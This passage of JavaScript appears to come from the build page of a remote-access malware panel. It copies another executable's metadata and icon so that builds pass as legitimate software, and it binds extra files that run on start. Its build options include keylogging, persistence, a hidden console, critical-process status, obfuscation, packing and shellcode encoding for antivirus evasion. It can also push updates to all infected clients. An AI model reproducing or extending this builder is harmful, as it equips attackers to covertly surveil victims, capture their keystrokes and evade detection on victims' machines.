          let tp = sp + 6;
          while (tp + 1 < stEnd && (u8(tp) | u8(tp + 1))) tp += 2;
          tp = alignUp(tp + 2);

          while (tp + 6 < stEnd) {
            const sLen    = u16(tp);
            if (sLen < 6) break;
            const sEnd    = Math.min(tp + sLen, stEnd);
            const sValLen = u16(tp + 2);
            let np = tp + 6;
            let name = "";
            while (np + 1 < sEnd && (u8(np) | u8(np + 1))) {
              name += String.fromCharCode(u8(np) | (u8(np + 1) << 8));
              np += 2;
            }
            np = alignUp(np + 2);
            let val = "";
            const valEnd = Math.min(np + sValLen * 2, sEnd);
            while (np + 1 < valEnd && (u8(np) | u8(np + 1))) {
              val += String.fromCharCode(u8(np) | (u8(np + 1) << 8));
              np += 2;
            }
            if (name) strings[name] = val;
            tp = alignUp(sEnd);
          }
          sp = alignUp(stEnd);
        }
      }
      pos = alignUp(childEnd);
    }
    return strings;
  }

  function buildIco(groupOff, iconRes) {
    if (groupOff + 6 > buffer.byteLength) return null;
    const count = u16(groupOff + 4);
    if (count === 0 || groupOff + 6 + count * 14 > buffer.byteLength) return null;

    const grpEntries = [];
    for (let i = 0; i < count; i++) {
      const e = groupOff + 6 + i * 14;
      grpEntries.push({
        w: u8(e), h: u8(e + 1), cc: u8(e + 2),
        planes: u16(e + 4), bits: u16(e + 6),
        size: u32(e + 8), id: u16(e + 12),
      });
    }

    const iconData = [];
    for (const en of grpEntries) {
      const rd = iconRes[en.id];
      if (!rd || rd.length === 0) continue;
      iconData.push({ en, dataOff: rd[0].dataOff, dataSize: rd[0].dataSize });
    }
    if (iconData.length === 0) return null;

    let totalSize = 6 + iconData.length * 16;
    for (const id of iconData) totalSize += id.dataSize;

    const ico = new Uint8Array(totalSize);
    const idv = new DataView(ico.buffer);
    let p = 0;

    idv.setUint16(p, 0, true); p += 2; // reserved
    idv.setUint16(p, 1, true); p += 2; // type = ICO
    idv.setUint16(p, iconData.length, true); p += 2;

    let dataOffset = 6 + iconData.length * 16;
    const entryStart = p;
    let ep = entryStart;
    p += iconData.length * 16;

    for (const { en, dataOff, dataSize } of iconData) {
      ico[ep]   = en.w;
      ico[ep+1] = en.h;
      ico[ep+2] = en.cc;
      ico[ep+3] = 0;
      idv.setUint16(ep + 4,  en.planes,  true);
      idv.setUint16(ep + 6,  en.bits,    true);
      idv.setUint32(ep + 8,  dataSize,   true);
      idv.setUint32(ep + 12, dataOffset, true);
      ep += 16;

      ico.set(bytes.subarray(dataOff, dataOff + dataSize), dataOffset);
      dataOffset += dataSize;
    }

    let bin = "";
    for (let i = 0; i < ico.length; i++) bin += String.fromCharCode(ico[i]);
    return btoa(bin);
  }

  const result = {};

  if (resources[16]) {
    const vd = Object.values(resources[16]).flat()[0];
    if (vd) {
      try { result.strings = parseVersionStrings(vd.dataOff, vd.dataSize); } catch (_) {}
    }
  }

  if (resources[14] && resources[3]) {
    const gd = Object.values(resources[14]).flat()[0];
    if (gd) {
      try { result.iconBase64 = buildIco(gd.dataOff, resources[3]); } catch (_) {}
    }
  }

  return result;
}

const cloneExeUpload = document.getElementById("clone-exe-upload");
const cloneExeLabel  = document.getElementById("clone-exe-label");
const cloneExeStatus = document.getElementById("clone-exe-status");

function setCloneStatus(msg, isError) {
  if (!cloneExeStatus) return;
  cloneExeStatus.textContent = msg;
  cloneExeStatus.className   = "text-xs " + (isError ? "text-red-400" : "text-emerald-400");
  cloneExeStatus.classList.remove("hidden");
}

if (cloneExeUpload) {
  cloneExeUpload.addEventListener("change", () => {
    const file = cloneExeUpload.files[0];
    if (!file) return;

    if (cloneExeLabel) cloneExeLabel.textContent = file.name;
    setCloneStatus("Parsing...", false);

    const reader = new FileReader();
    reader.onload = () => {
      try {
        const meta = extractPEMetadata(reader.result);
        const s    = meta.strings || {};

        const fields = [
          ["assembly-title",     s["FileDescription"]  ?? s["InternalName"] ?? ""],
          ["assembly-product",   s["ProductName"]       ?? ""],
          ["assembly-company",   s["CompanyName"]       ?? ""],
          ["assembly-version",   s["FileVersion"]?.replace(/,\s*/g, ".") ?? s["ProductVersion"]?.replace(/,\s*/g, ".") ?? ""],
          ["assembly-copyright", s["LegalCopyright"]    ?? s["LegalTrademarks"] ?? ""],
        ];

        let filled = 0;
        for (const [id, val] of fields) {
          const el = document.getElementById(id);
          if (el && val) { el.value = val; filled++; }
        }

        if (meta.iconBase64) {
          const decodedBytes = Math.floor(meta.iconBase64.length * 3 / 4);
          if (decodedBytes <= 1024 * 1024) {
            pendingIconBase64 = meta.iconBase64;
            if (iconLabel) iconLabel.textContent = file.name + " (cloned icon)";
            if (iconClear)  iconClear.classList.remove("hidden");
            setCloneStatus(`Cloned ${filled} metadata field(s) + icon`, false);
          } else {
            setCloneStatus(`Cloned ${filled} metadata field(s) (icon too large, skipped)`, false);
          }
        } else {
          setCloneStatus(filled > 0 ? `Cloned ${filled} metadata field(s), no icon found` : "No metadata found in file", !filled);
        }
      } catch (err) {
        setCloneStatus("Error: " + err.message, true);
      }
      cloneExeUpload.value = "";
    };
    reader.readAsArrayBuffer(file);
  });
}

const MAX_BIND_FILES = 5;
const MAX_BIND_FILE_BYTES = 200 * 1024 * 1024; // 200 MB

let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean }

const bindFileInput = document.getElementById("bind-file-input");
const bindFilesList = document.getElementById("bind-files-list");
const bindAddLabel = document.getElementById("bind-add-label");

function sanitizeBindName(name) {
  return name.replace(/[^A-Za-z0-9._-]/g, "").slice(0, 64) || "file";
}

function renderBoundFiles() {
  if (!bindFilesList) return;
  bindFilesList.innerHTML = "";

  boundFiles.forEach((entry, idx) => {
    const div = document.createElement("div");
    div.className = "flex flex-col gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg";

    const osList = ["windows", "linux", "darwin"];
    const osIcons = { windows: "fa-brands fa-windows", linux: "fa-brands fa-linux", darwin: "fa-brands fa-apple" };
    const osColors = { windows: "text-blue-400", linux: "text-amber-400", darwin: "text-slate-200" };
    const osLabels = { windows: "Windows", linux: "Linux", darwin: "macOS" };

    const osCheckboxes = osList
      .map(
        (os) =>
          `<label class="flex items-center gap-1 text-xs cursor-pointer select-none">
            <input type="checkbox" class="bind-os-cb w-3 h-3" data-idx="${idx}" data-os="${os}"
              ${entry.targetOS.length === 0 || entry.targetOS.includes(os) ? "checked" : ""} />
            <i class="${osIcons[os]} ${osColors[os]}"></i> ${osLabels[os]}
          </label>`,
      )
      .join("");

    div.innerHTML = `
      <div class="flex items-center gap-2">
        <i class="fa-solid fa-file text-violet-400 shrink-0"></i>
        <span class="text-sm font-medium text-slate-200 truncate flex-1">${entry.name}</span>
        <button type="button" class="bind-remove-btn text-red-400 hover:text-red-300 text-xs px-1" data-idx="${idx}" title="Remove">
          <i class="fa-solid fa-xmark"></i>
        </button>
      </div>
      <div class="flex items-center gap-3 flex-wrap">
        <span class="text-xs text-slate-500 shrink-0">Run on:</span>
        ${osCheckboxes}
        <span class="flex-1"></span>
        <label class="flex items-center gap-1 text-xs cursor-pointer select-none">
          <input type="checkbox" class="bind-exec-cb w-3 h-3" data-idx="${idx}" ${entry.execute ? "checked" : ""} />
          <i class="fa-solid fa-play text-green-400"></i> Execute on start
        </label>
      </div>
    `;

    div.querySelector(".bind-remove-btn").addEventListener("click", () => {
      boundFiles.splice(idx, 1);
      renderBoundFiles();
      updateBindAddVisibility();
    });

    div.querySelectorAll(".bind-os-cb").forEach((cb) => {
      cb.addEventListener("change", () => {
        const checked = Array.from(div.querySelectorAll(`.bind-os-cb[data-idx="${idx}"]`))
          .filter((el) => el.checked)
          .map((el) => el.dataset.os);
        boundFiles[idx].targetOS = checked.length === osList.length ? [] : checked;
      });
    });

    div.querySelector(".bind-exec-cb").addEventListener("change", (e) => {
      boundFiles[idx].execute = e.target.checked;
    });

    bindFilesList.appendChild(div);
  });
}

function updateBindAddVisibility() {
  if (!bindAddLabel) return;
  bindAddLabel.classList.toggle("hidden", boundFiles.length >= MAX_BIND_FILES);
}

if (bindFileInput) {
  bindFileInput.addEventListener("change", () => {
    const file = bindFileInput.files[0];
    bindFileInput.value = "";
    if (!file) return;

    if (boundFiles.length >= MAX_BIND_FILES) {
      alert(`Maximum ${MAX_BIND_FILES} files can be bound.`);
      return;
    }
    if (file.size > MAX_BIND_FILE_BYTES) {
      alert(`Each bound file must be under 50 MB. "${file.name}" is too large.`);
      return;
    }
    const safeName = sanitizeBindName(file.name);
    if (boundFiles.some((f) => f.name === safeName)) {
      alert(`A file named "${safeName}" is already in the list.`);
      return;
    }

    const reader = new FileReader();
    reader.onload = () => {
      const base64 = reader.result.split(",")[1];
      boundFiles.push({ name: safeName, base64, targetOS: [], execute: true });
      renderBoundFiles();
      updateBindAddVisibility();
    };
    reader.readAsDataURL(file);
  });
}

async function init() {
  try {
    updateServerUrlPlaceholder();
    const res = await fetch("/api/auth/me", {
      credentials: "include",
    });

    if (!res.ok) {
      window.location.href = "/";
      return;
    }

    const data = await res.json();
    const permissions = Array.isArray(data.permissions) ? data.permissions : [];
    const hasPermission = (permission) => permissions.includes(permission);
    currentUserRole = data.role;
    currentUsername = data.username || null;
    usernameDisplay.textContent = data.username;
    loadSgnTxtUnlockState();

    const roleBadges = {
      admin: '<i class="fa-solid fa-crown mr-1"></i>Admin',
      operator: '<i class="fa-solid fa-sliders mr-1"></i>Operator',
      viewer: '<i class="fa-solid fa-eye mr-1"></i>Viewer',
    };
    if (roleBadges[data.role]) {
      roleBadge.innerHTML = roleBadges[data.role];
    } else {
      roleBadge.textContent = data.role || "";
    }

    if (data.role === "admin") {
      roleBadge.classList.add(
        "bg-purple-900/50",
        "text-purple-300",
        "border",
        "border-purple-800",
      );
    } else if (data.role === "operator") {
      roleBadge.classList.add(
        "bg-blue-900/50",
        "text-blue-300",
        "border",
        "border-blue-800",
      );
    } else {
      roleBadge.classList.add(
        "bg-slate-700",
        "text-slate-300",
        "border",
        "border-slate-600",
      );
    }
    if (hasPermission("users:manage")) {
      usersLink.classList.remove("hidden");
    }
    if (hasPermission("plugins:manage")) {
      pluginsLink?.classList.remove("hidden");
    }
    if (hasPermission("deploys:manage")) {
      document.getElementById("deploy-link")?.classList.remove("hidden");
    }

    if (hasPermission("clients:build") || data.canBuild) {
      buildLink?.classList.remove("hidden");
    }

    if (hasPermission("scripts:manage")) {
      scriptsLink?.classList.remove("hidden");
    }

    if (!hasPermission("clients:build") && !data.canBuild) {
      buildBtn.disabled = true;
      buildBtn.innerHTML =
        '<i class="fa-solid fa-lock"></i> <span>Build requires permission</span>';
      if (profileSaveBtn) profileSaveBtn.disabled = true;
      if (profileLoadBtn) profileLoadBtn.disabled = true;
      if (profileDeleteBtn) profileDeleteBtn.disabled = true;
      if (profileExportBtn) profileExportBtn.disabled = true;
      if (profileImportBtn) profileImportBtn.disabled = true;
    }

    await loadServerVersion();
    await loadSolRpcEndpoints();
    await loadSavedBuilds();
    await loadBuildProfiles();

    const toggleAllBuildsBtn = document.getElementById("toggle-all-builds-btn");
    const toggleAllBuildsLabel = document.getElementById("toggle-all-builds-label");
    if (toggleAllBuildsBtn && currentUserRole === "admin") {
      toggleAllBuildsBtn.classList.remove("hidden");
      toggleAllBuildsBtn.addEventListener("click", async () => {
        showAllBuilds = !showAllBuilds;
        if (toggleAllBuildsLabel) {
          toggleAllBuildsLabel.textContent = showAllBuilds ? "My Builds" : "Show All";
        }
        buildFilesDiv.innerHTML = "";
        await loadSavedBuilds();
      });
    }
  } catch (err) {
    console.error("Failed to fetch user info:", err);
    window.location.href = "/";
  }
}

if (logoutBtn && !logoutBtn.dataset.boundLogout) {
  logoutBtn.dataset.boundLogout = "true";
  logoutBtn.addEventListener("click", async () => {
    try {
      await fetch("/api/logout", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
      });
    } catch (err) {
      console.error("Logout error:", err);
    }
    window.location.href = "/";
  });
}

buildProfileManager.bindProfileControls();

form?.addEventListener("submit", async (e) => {
  e.preventDefault();

  if (isBuilding) return;

  const platformCheckboxes = form.querySelectorAll(
    'input[name="platform"]:checked:not(:disabled)',
  );
  const platforms = Array.from(platformCheckboxes).map((cb) => cb.value);

  if (platforms.length === 0) {
    alert("Please select at least one platform to build");
    return;
  }

  if (!buildProviderSelect?.value && !validateStartupName()) {
    document.getElementById("startup-name")?.focus();
    return;
  }

  if (!buildProviderSelect?.value && disableCgoInput?.checked && !confirm(
    "CGO is disabled. Native features such as voice/audio, macOS keystroke capture and permission checks, native Linux/macOS plugins, and Windows GPU encoder integrations may not work.\n\nContinue with a limited CGO-disabled build?"
  )) {
    disableCgoInput.focus();
    return;
  }

  if (needsMacosSdkUpload() && (!macosSdkFileInput?.files?.[0] || !macosSdkRightsInput?.checked)) {
    alert(!macosSdkFileInput?.files?.[0]
      ? "Select a macOS SDK archive for this Darwin CGO build."
      : "Confirm that you have permission to use the uploaded macOS SDK.");
    macosSdkFileInput?.focus();
    return;
  }

  const rawServerList = form.querySelector("#raw-server-list")?.checked || false;
  const serverUrlRaw = form.querySelector("#server-url").value.trim();
  const serverUrl = rawServerList ? serverUrlRaw : stripServerUrlPrefix(serverUrlRaw);
  if (isLocalServerAddress(serverUrlRaw) && !confirm(
    "WARNING: LOCAL SERVER ADDRESS\n\nThis agent will not be able to connect from outside this machine or local network. Outbound connections from remote networks will fail.\n\nBuild with this local address anyway?"
  )) {
    serverUrlInput?.focus();
    return;
  }
  const mutex = form.querySelector("#mutex")?.value.trim() || "";
  const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false;
  const stripDebug = form.querySelector('input[name="strip-debug"]').checked;
  const disableCgo = form.querySelector('input[name="disable-cgo"]').checked;
  const enableNvenc = form.querySelector('input[name="enable-nvenc"]')?.checked ?? true;
  const enableAmf = form.querySelector('input[name="enable-amf"]')?.checked ?? true;
  const enableQsv = form.querySelector('input[name="enable-qsv"]')?.checked ?? true;
  const obfuscate = form.querySelector('input[name="obfuscate"]').checked;
  const enablePersistence = form.querySelector(
    'input[name="enable-persistence"]',
  ).checked;
  const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-"));
  const hasPersistentUnixTarget = platforms.some((p) => p.startsWith("linux-") || p.startsWith("darwin-"));
  const persistenceMethods = hasWindowsTarget
    ? Array.from(form.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value)
    : undefined;
  const startupNameVal = (hasWindowsTarget || hasPersistentUnixTarget)
    ? (form.querySelector("#startup-name")?.value.trim() || "")
    : "";
  const hideConsole = form.querySelector(
    'input[name="hide-console"]',
  ).checked;
  const noPrinting = form.querySelector(
    'input[name="no-printing"]',
  ).checked;
  const enableKeylogger = form.querySelector('input[name="enable-keylogger"]')?.checked ?? true;

  const outputNameVal = form.querySelector("#output-name")?.value.trim() || "";
  const initialClientTagVal = form.querySelector("#initial-client-tag")?.value.trim() || "";
  const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false;
  const garbleTiny = form.querySelector('input[name="garble-tiny"]')?.checked || false;
  const garbleSeedVal = form.querySelector("#garble-seed")?.value.trim() || "";
  const assemblyTitle = form.querySelector("#assembly-title")?.value.trim() || "";
  const assemblyProduct = form.querySelector("#assembly-product")?.value.trim() || "";
  const assemblyCompany = form.querySelector("#assembly-company")?.value.trim() || "";
  const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || "";
  const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || "";
  const requireAdmin = form.querySelector('input[name="require-admin"]')?.checked || false;
  const criticalProcess = form.querySelector('input[name="critical-process"]')?.checked || false;
  const outputExtension = form.querySelector("#output-extension")?.value || ".exe";
  const sleepSecondsRaw = parseInt(form.querySelector("#sleep-seconds")?.value || "0", 10);
  const sleepSeconds = !isNaN(sleepSecondsRaw) && sleepSecondsRaw > 0 ? sleepSecondsRaw : 0;

  const buildConfig = {
    platforms,
    buildProvider: buildProviderSelect?.value || undefined,
    serverUrl: serverUrl || undefined,
    rawServerList,
    solMemo: document.getElementById("sol-memo")?.checked || false,
    solAddress: document.getElementById("sol-address")?.value.trim() || undefined,
    solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value.trim() || undefined,
    mutex: disableMutex ? "" : mutex || undefined,
    disableMutex,
    stripDebug,
    disableCgo,
    enableNvenc,
    enableAmf,
    enableQsv,
    obfuscate,
    enablePersistence,
    persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
    startupName: enablePersistence && (hasWindowsTarget || hasPersistentUnixTarget) && startupNameVal ? startupNameVal : undefined,
    hideConsole,
    noPrinting,
    disableKeylogger: !enableKeylogger,
    enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
    promptWebrtcFirewallOnStart: form.querySelector('input[name="enable-webrtc"]')?.checked === true && (form.querySelector('input[name="prompt-webrtc-firewall-on-start"]')?.checked || false),
    enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false,
    fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
    outputName: outputNameVal || undefined,
    initialClientTag: initialClientTagVal || undefined,
    garbleLiterals: obfuscate ? garbleLiterals : undefined,
    garbleTiny: obfuscate ? garbleTiny : undefined,
    garbleSeed: obfuscate && garbleSeedVal ? garbleSeedVal : undefined,
    assemblyTitle: assemblyTitle || undefined,
    assemblyProduct: assemblyProduct || undefined,
    assemblyCompany: assemblyCompany || undefined,
    assemblyVersion: assemblyVersion || undefined,
    assemblyCopyright: assemblyCopyright || undefined,
    requireAdmin,
    criticalProcess,
    outputExtension,
    sleepSeconds: sleepSeconds > 0 ? sleepSeconds : undefined,
    iconBase64: pendingIconBase64 || undefined,
    enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
    upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
    boundFiles: boundFiles.length > 0
      ? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute }))
      : undefined,
    iosBundleId: platforms.some(p => p.startsWith('ios-')) ? (form.querySelector("#ios-bundle-id")?.value.trim() || undefined) : undefined,
    useDonut: document.getElementById("donut-mode")?.checked || false,
    donutSingleThreaded: document.getElementById("donut-single-threaded")?.checked || false,
    donutExitMode: parseInt(document.getElementById("donut-exit-mode")?.value, 10) || undefined,
    donutEntropy: parseInt(document.getElementById("donut-entropy")?.value, 10) || undefined,
    donutPreserveHeaders: document.getElementById("donut-preserve-headers")?.checked || false,
    donutResumeOffset: parseInt(document.getElementById("donut-resume-offset")?.value, 10) || undefined,
    useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked || false,
    shellcodeConsole: document.getElementById("shellcode-console")?.checked || false,
    useSgn: document.getElementById("sgn-mode")?.checked || false,
    sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1,
    outputSgnTxt: pendingSgnTxtBuild,
    uploadToFileShare: pendingUpload,
    buildPlugins: collectBuildPluginSettings(),
  };

  const hasAndroid = platforms.some(p => p.startsWith('android-'));
  const hasBsd = platforms.some(
    p => p.startsWith('freebsd-') || p.startsWith('openbsd-'),
  );
  const hasIos = platforms.some(p => p.startsWith('ios-'));

  if (hasAndroid || hasBsd || hasIos) {
    let warningText = 'WARNING: Some selected targets are experimental/untested.\n\n';

    if (hasAndroid) {
      warningText += '- Android targets are severely untested and will probably not work right.\n';
    }

    if (hasBsd) {
      warningText += '- BSD targets are severely untested and will probably not work right.\n';
    }

    if (hasIos) {
      warningText += '- iOS targets are experimental (POC). Most features will be stubbed. Output will be packaged as IPA if possible.\n';
    }

    warningText += '\nContinue with build anyway?';

    if (!confirm(warningText)) {
      return;
    }
  }

  if (hasAndroid && enablePersistence) {
    if (!confirm(
      '⚠️ WARNING: Persistence is NOT supported on Android\n\n' +
      'The persistence setting will be ignored for Android builds.\n' +
      'Persistence is only supported on: Windows, Linux, and macOS\n\n' +
      'Continue with build anyway?'
    )) {
      return;
    }
  }

  const pluginRequirementErrors = validateBuildPluginRequirements();
  if (pluginRequirementErrors.length > 0) {
    alert(`Build plugin requirements are not met:\n\n${pluginRequirementErrors.map((msg) => `- ${msg}`).join("\n")}`);
    return;
  }

  await startBuild(buildConfig);
});

async function startBuild(config) {
  isBuilding = true;
  buildBtn.disabled = true;
  buildBtn.innerHTML =
    '<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
  if (buildUpdateAllBtn) {
    buildUpdateAllBtn.disabled = true;
    buildUpdateAllBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
  }
  if (buildUploadBtn) {
    buildUploadBtn.disabled = true;
    buildUploadBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
  }
  if (buildSgnTxtBtn) {
    buildSgnTxtBtn.disabled = true;
    setSgnTxtButtonState("Building TXT...", "fa-solid fa-spinner fa-spin");
  }

  revealElement(buildStatus, { duration: 220, offset: 6 });
  buildStatusText.textContent = "Starting build...";
  updateBuildProgress(null);
  buildStatus.querySelector("div").className =
    "flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60";
  buildStatus.querySelector("i").className = "fa-solid fa-spinner fa-spin";
  buildResults.classList.add("hidden");
  buildFilesDiv.innerHTML = "";

  resetBuildLog();
  setBuildLogFollow(true);
  addBuildOutput("Starting build process...\n", "info");

  try {
    if (needsMacosSdkUpload()) {
      buildStatusText.textContent = "Uploading macOS SDK...";
      addBuildOutput("Uploading user-provided macOS SDK...\n", "info");
      config.macosSdkUploadId = await uploadMacosSdk();
    }
    const res = await fetch("/api/build/start", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      credentials: "include",
      body: JSON.stringify(config),
    });

    if (!res.ok) {
      const error = await res.json();
      throw new Error(error.error || "Build failed to start");
    }

    const data = await res.json();
    const buildId = data.buildId;

    addBuildOutput(`Build ID: ${buildId}\n`, "info");
    addBuildOutput(
      `Building for platforms: ${config.platforms.join(", ")}\n\n`,
      "info",
    );

    await streamBuildOutput(buildId, config);
  } catch (err) {
    addBuildOutput(`\nERROR: ${err.message}\n`, "error");
    if (!config.buildProvider && !config.disableCgo) {
      addBuildOutput(
        "Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n",
        "warn",
      );
    }
    buildStatusText.textContent = "Build failed";
    updateBuildProgress(null);
    buildStatus.querySelector("div").className =
      "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60";
    buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark";
    pendingUpdateAll = false;
  } finally {
    isBuilding = false;
    buildBtn.disabled = false;
    buildBtn.innerHTML =
      '<i class="fa-solid fa-hammer"></i> <span>Start Build</span>';
    if (buildUpdateAllBtn) {
      buildUpdateAllBtn.disabled = false;
      buildUpdateAllBtn.innerHTML = '<i class="fa-solid fa-arrow-up-from-bracket"></i> <span>Build & Update All</span>';
    }
    if (buildUploadBtn) {
      buildUploadBtn.disabled = false;
      buildUploadBtn.innerHTML = '<i class="fa-solid fa-cloud-arrow-up"></i> <span>Build & Upload</span>';
    }
    if (buildSgnTxtBtn) {
      buildSgnTxtBtn.disabled = false;
      updateSgnTxtLockState();
    }
    pendingUpload = false;
    pendingSgnTxtBuild = false;
  }
}

async function checkBuildInfo(buildId) {
  try {
    const res = await fetch(`/api/build/${buildId}/info`, { credentials: "include" });
    if (!res.ok) return null;
    return await res.json();
  } catch {
    return null;
  }
}

async function streamBuildOutput(buildId, config = {}) {
  const MAX_RECONNECT_ATTEMPTS = 10;
  const RECONNECT_DELAY_MS = 2000;
  let attempts = 0;
  let completed = false;
  const uploadedShareFiles = [];

  while (!completed && attempts <= MAX_RECONNECT_ATTEMPTS) {
    if (attempts > 0) {
      addBuildOutput(`\nReconnecting to build stream (attempt ${attempts}/${MAX_RECONNECT_ATTEMPTS})...\n`, "warn");
      buildStatusText.textContent = "Reconnecting to build stream...";
      await new Promise((r) => setTimeout(r, RECONNECT_DELAY_MS));

      const info = await checkBuildInfo(buildId);
      if (info && (info.status === "completed" || info.status === "success")) {
        buildStatusText.textContent = "Build completed successfully!";
        buildStatus.querySelector("div").className =
          "flex items-center gap-2 p-3 rounded-lg bg-green-900/40 border border-green-700/60";
        buildStatus.querySelector("i").className = "fa-solid fa-circle-check";
        addBuildOutput("\nBuild completed while reconnecting.\n", "success");

        if (info.files && info.files.length > 0) {
          const buildData = {
            id: info.id || buildId,
            status: "success",
            startTime: info.startTime || Date.now(),
            expiresAt: info.expiresAt,
            files: info.files,
          };
          saveBuildToStorage(buildData.id, buildData);
          revealBuildResults();
          displayBuild(buildData);

          if (pendingUpdateAll) {
            pendingUpdateAll = false;
            await pushUpdateToAllClients(buildData.id, pendingUpdateHideWindow);
          }
        }
        return;
      } else if (info && info.status === "failed") {
        buildStatusText.textContent = "Build failed";
        buildStatus.querySelector("div").className =
          "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60";
        buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark";
        addBuildOutput("\nBuild failed while reconnecting.\n", "error");
        return;
      }
      // status is still "running", reconnect to stream
    }

    let res;
    try {
      res = await fetch(`/api/build/${buildId}/stream`, { credentials: "include" });
    } catch (err) {
      attempts++;
      continue;
    }

    if (!res.ok) {
      if (attempts > 0) {
        const info = await checkBuildInfo(buildId);
        if (info && (info.status === "completed" || info.status === "success")) {
          buildStatusText.textContent = "Build completed successfully!";
          buildStatus.querySelector("div").className =
            "flex items-center gap-2 p-3 rounded-lg bg-green-900/40 border border-green-700/60";
          buildStatus.querySelector("i").className = "fa-solid fa-circle-check";
          if (info.files && info.files.length > 0) {
            const buildData = {
              id: info.id || buildId,
              status: "success",
              startTime: info.startTime || Date.now(),
              expiresAt: info.expiresAt,
              files: info.files,
            };
            saveBuildToStorage(buildData.id, buildData);
            revealBuildResults();
            displayBuild(buildData);
          }
          return;
        }
      }
      throw new Error("Failed to connect to build stream");
    }

    const reader = res.body.getReader();
    const decoder = new TextDecoder();
    let buffer = "";

    try {
      while (true) {
        const { done, value } = await reader.read();

        if (done) break;

        buffer += decoder.decode(value, { stream: true });

        const lines = buffer.split("\n");
        buffer = lines.pop();

        for (const line of lines) {
          if (!line.trim()) continue;

          if (line.startsWith("data: ")) {
            const data = JSON.parse(line.substring(6));

            if (data.type === "output") {
              addBuildOutput(data.text, data.level || "info");
            } else if (data.type === "status") {
              buildStatusText.textContent = data.text;
              updateBuildProgress(data.progress);
            } else if (data.type === "file_share_uploaded") {
              uploadedShareFiles.push({
                id: data.id,
                filename: data.filename,
                platform: data.platform,
                size: data.size,
              });
            } else if (data.type === "complete") {
              updateBuildProgress(data.success ? 100 : null);
              buildStatusText.textContent = data.success
                ? "Build completed successfully!"
                : "Build failed";
              buildStatus.querySelector("div").className = data.success
                ? "flex items-center gap-2 p-3 rounded-lg bg-green-900/40 border border-green-700/60"
                : "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60";
              buildStatus.querySelector("i").className = data.success
                ? "fa-solid fa-circle-check"
                : "fa-solid fa-circle-xmark";

              if (!data.success && !config.disableCgo) {
                addBuildOutput(
                  "Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n",
                  "warn",
                );
              }

              if (data.success && data.files) {
                const buildData = {
                  id: data.buildId,
                  status: "success",
                  startTime: Date.now(),
                  expiresAt: data.expiresAt,
                  files: data.files,
                };
                saveBuildToStorage(data.buildId, buildData);

                revealBuildResults();
                displayBuild(buildData);

                if (uploadedShareFiles.length > 0) {
                  renderShareLinksPanel(uploadedShareFiles);
                }

                // Auto-push update if "Build & Update All" was used
                if (pendingUpdateAll) {
                  pendingUpdateAll = false;
                  await pushUpdateToAllClients(data.buildId, pendingUpdateHideWindow);
                }
              }

              reader.cancel();
              completed = true;
              return;
            } else if (data.type === "error") {
              addBuildOutput(`\nERROR: ${data.error}\n`, "error");
            }
          }
        }

      }
      // Stream ended cleanly without a "complete" event — build may still be running
      completed = true;
    } catch (streamErr) {
      // Network error — try to reconnect
      try { reader.releaseLock(); } catch {}
      attempts++;
      continue;
    } finally {
      try { reader.releaseLock(); } catch {}
    }
  }

  if (!completed && attempts > MAX_RECONNECT_ATTEMPTS) {
    const info = await checkBuildInfo(buildId);
    if (info && (info.status === "completed" || info.status === "success")) {
      buildStatusText.textContent = "Build completed successfully!";
      buildStatus.querySelector("div").className =
        "flex items-center gap-2 p-3 rounded-lg bg-green-900/40 border border-green-700/60";
      buildStatus.querySelector("i").className = "fa-solid fa-circle-check";
      addBuildOutput("\nBuild completed (recovered after stream loss).\n", "success");
      if (info.files && info.files.length > 0) {
        const buildData = {
          id: info.id || buildId,
          status: "success",
          startTime: info.startTime || Date.now(),
          expiresAt: info.expiresAt,
          files: info.files,
        };
        saveBuildToStorage(buildData.id, buildData);
        revealBuildResults();
        displayBuild(buildData);
      }
    } else {
      addBuildOutput("\nLost connection to build stream. The build may still be running on the server.\n", "warn");
      addBuildOutput("Refresh the page to check build results.\n", "warn");
    }
  }
}

function addBuildOutput(text, level = "info") {
  const rawText = String(text ?? "");
  if (!rawText) return;
  buildLogRawChunks.push(rawText);
  const normalized = rawText.replace(/\r\n?/g, "\n");
  normalized.split("\n").forEach((line) => appendBuildLogLine(line, level));
  updateBuildLogSummary();

  if (buildLogFollow && buildOutputContainer) {
    requestAnimationFrame(() => {
      buildOutputContainer.scrollTop = buildOutputContainer.scrollHeight;
    });
  }
}

function renderShareLinksPanel(items) {
  const existing = document.getElementById("build-share-links");
  if (existing) existing.remove();

  const panel = document.createElement("div");
  panel.id = "build-share-links";
  panel.className =
    "mt-3 p-3 bg-emerald-950/30 border border-emerald-700/50 rounded-lg space-y-2";

  const header = document.createElement("div");
